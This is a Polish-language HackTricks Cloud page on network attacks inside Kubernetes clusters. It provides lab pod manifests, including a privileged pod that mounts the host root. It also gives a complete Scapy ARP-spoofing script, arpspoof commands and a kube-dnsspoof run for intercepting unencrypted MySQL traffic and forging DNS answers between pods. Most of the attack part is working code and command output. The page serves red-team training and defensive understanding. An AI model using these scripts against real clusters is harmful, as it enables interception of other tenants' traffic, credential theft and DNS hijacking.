Ataki sieciowe w Kubernetes
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Wprowadzenie
W Kubernetes zaobserwowano, że domyślne zachowanie pozwala na nawiązywanie połączeń między wszystkimi kontenerami znajdującymi się na tym samym węźle. Dotyczy to niezależnie od różnic w przestrzeniach nazw. Taka łączność sięga Warstwy 2 (Ethernet). W konsekwencji, ta konfiguracja potencjalnie naraża system na luki w zabezpieczeniach. W szczególności otwiera możliwość, aby złośliwy kontener przeprowadził atak ARP spoofing przeciwko innym kontenerom znajdującym się na tym samym węźle. Podczas takiego ataku, złośliwy kontener może oszukańczo przechwycić lub zmodyfikować ruch sieciowy przeznaczony dla innych kontenerów.
Ataki ARP spoofing polegają na tym, że napastnik wysyła fałszywe wiadomości ARP (Address Resolution Protocol) w lokalnej sieci. Skutkuje to powiązaniem adresu MAC napastnika z adresem IP legalnego komputera lub serwera w sieci. Po pomyślnym przeprowadzeniu takiego ataku, napastnik może przechwytywać, modyfikować lub nawet zatrzymywać dane w tranzycie. Atak jest realizowany na Warstwie 2 modelu OSI, dlatego domyślna łączność w Kubernetes na tej warstwie budzi obawy dotyczące bezpieczeństwa.
W scenariuszu zostaną utworzone 4 maszyny:
- ubuntu-pe: Maszyna z uprawnieniami do ucieczki do węzła i sprawdzania metryk (niepotrzebna do ataku)
- ubuntu-attack: Złośliwy kontener w domyślnej przestrzeni nazw
- ubuntu-victim: Ofiara maszyna w przestrzeni nazw kube-system
- mysql: Ofiara maszyna w domyślnej przestrzeni nazw
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Podstawowe sieciowanie Kubernetes
Jeśli chcesz uzyskać więcej szczegółów na temat tematów sieciowych wprowadzonych tutaj, przejdź do odniesień.
ARP
Ogólnie rzecz biorąc, sieciowanie podów wewnątrz węzła jest dostępne za pośrednictwem mostu, który łączy wszystkie pody. Ten most nazywa się “cbr0”. (Niektóre wtyczki sieciowe zainstalują swój własny most.) cbr0 może również obsługiwać ARP (Address Resolution Protocol). Gdy przychodzący pakiet dociera do cbr0, może rozwiązać adres MAC docelowego za pomocą ARP.
Fakt ten implikuje, że domyślnie każdy pod działający w tym samym węźle będzie mógł komunikować się z każdym innym pod w tym samym węźle (niezależnie od przestrzeni nazw) na poziomie ethernetowym (warstwa 2).
Warning
Dlatego możliwe jest przeprowadzenie ataków ARP Spoofing między podami w tym samym węźle.
DNS
W środowiskach kubernetes zazwyczaj znajdziesz 1 (lub więcej) usług DNS działających zazwyczaj w przestrzeni nazw kube-system:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
W poprzednich informacjach możesz zobaczyć coś interesującego, IP usługi to 10.96.0.10, ale IP poda uruchamiającego usługę to 172.17.0.2.
Jeśli sprawdzisz adres DNS wewnątrz dowolnego poda, znajdziesz coś takiego:
cat /etc/resolv.conf
nameserver 10.96.0.10
Jednak pod nie wie, jak dotrzeć do tego adresu, ponieważ zakres podów w tym przypadku to 172.17.0.10/26.
Dlatego pod wyśle żądania DNS do adresu 10.96.0.10, które zostaną przetłumaczone przez cbr0 na 172.17.0.2.
Warning
Oznacza to, że żądanie DNS poda zawsze będzie kierowane do mostu, aby przetłumaczyć adres IP usługi na adres IP punktu końcowego, nawet jeśli serwer DNS znajduje się w tej samej podsieci co pod.
Wiedząc o tym i wiedząc, że ataki ARP są możliwe, pod w węźle będzie w stanie przechwycić ruch między każdym podem w podsieci a mostem oraz zmodyfikować odpowiedzi DNS z serwera DNS (DNS Spoofing).
Co więcej, jeśli serwer DNS znajduje się w tym samym węźle co atakujący, atakujący może przechwycić wszystkie żądania DNS dowolnego poda w klastrze (między serwerem DNS a mostem) i zmodyfikować odpowiedzi.
ARP Spoofing w podach w tym samym węźle
Naszym celem jest ukraść przynajmniej komunikację z ubuntu-victim do mysql.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
Jak już wspomniano, jeśli skompromitujesz pod w tym samym węźle co pod serwera DNS, możesz MitM z ARPSpoofing mostu i podu DNS oraz zmodyfikować wszystkie odpowiedzi DNS.
Masz naprawdę fajne narzędzie i samouczek, aby to przetestować w https://github.com/danielsagi/kube-dnsspoof/
W naszym scenariuszu, pobierz narzędzie w podzie atakującym i stwórz plik o nazwie hosts z domenami, które chcesz spoofować, takie jak:
cat hosts
google.com. 1.1.1.1
Wykonaj atak na maszynę ubuntu-victim:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
Jeśli spróbujesz stworzyć własny skrypt do spoofingu DNS, jeśli po prostu zmodyfikujesz odpowiedź DNS, to nie będzie działać, ponieważ odpowiedź będzie miała src IP adres IP złośliwego poda i nie będzie zaakceptowana.
Musisz wygenerować nowy pakiet DNS z src IP DNS, do którego ofiara wysyła żądanie DNS (coś w rodzaju 172.16.0.2, a nie 10.96.0.10, to jest adres IP usługi DNS K8s, a nie adres IP serwera DNS, więcej na ten temat w wprowadzeniu).
DNS Spoofing za pomocą configmap coreDNS
Użytkownik z uprawnieniami do zapisu w configmap coredns w przestrzeni nazw kube-system może modyfikować odpowiedzi DNS klastra.
Sprawdź więcej informacji na temat tego ataku w:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Wykorzystywanie wystawionych usług zarządzania kubernetes
Usługi takie jak Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i pulpit nawigacyjny Kubernetes są często wystawiane albo do internetu, albo w sieci kubernetes. Atakujący, który znajdzie jakąkolwiek platformę używaną do zarządzania kubernetes i uzyska do niej dostęp, może ją wykorzystać, aby uzyskać dostęp do API kubernetes i wykonać takie działania jak tworzenie nowych podów, modyfikowanie istniejących lub nawet ich usuwanie.
Enumerowanie polityk sieciowych kubernetes
Uzyskaj skonfigurowane networkpolicies:
kubectl get networkpolicies --all-namespaces
Uzyskaj Callico polityki sieciowe:
kubectl get globalnetworkpolicy --all-namespaces
Pobierz Cillium polityki sieciowe:
kubectl get ciliumnetworkpolicy --all-namespaces
Zainstaluj inne CRD związane z polityką, dostarczane przez twój plugin sieciowy lub rozwiązanie zabezpieczające:
kubectl get crd | grep -i policy
Przechwytywanie ruchu
Narzędzie Mizu to prosty, ale potężny wyświetlacz ruchu API dla Kubernetes, który umożliwia wyświetlanie całej komunikacji API między mikroserwisami, aby pomóc w debugowaniu i rozwiązywaniu problemów z regresjami.
Zainstaluje agenty w wybranych podach i zbierze informacje o ich ruchu, a następnie wyświetli je na serwerze internetowym. Jednak będziesz potrzebować wysokich uprawnień K8s do tego (i nie jest to zbyt dyskretne).
Odniesienia
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

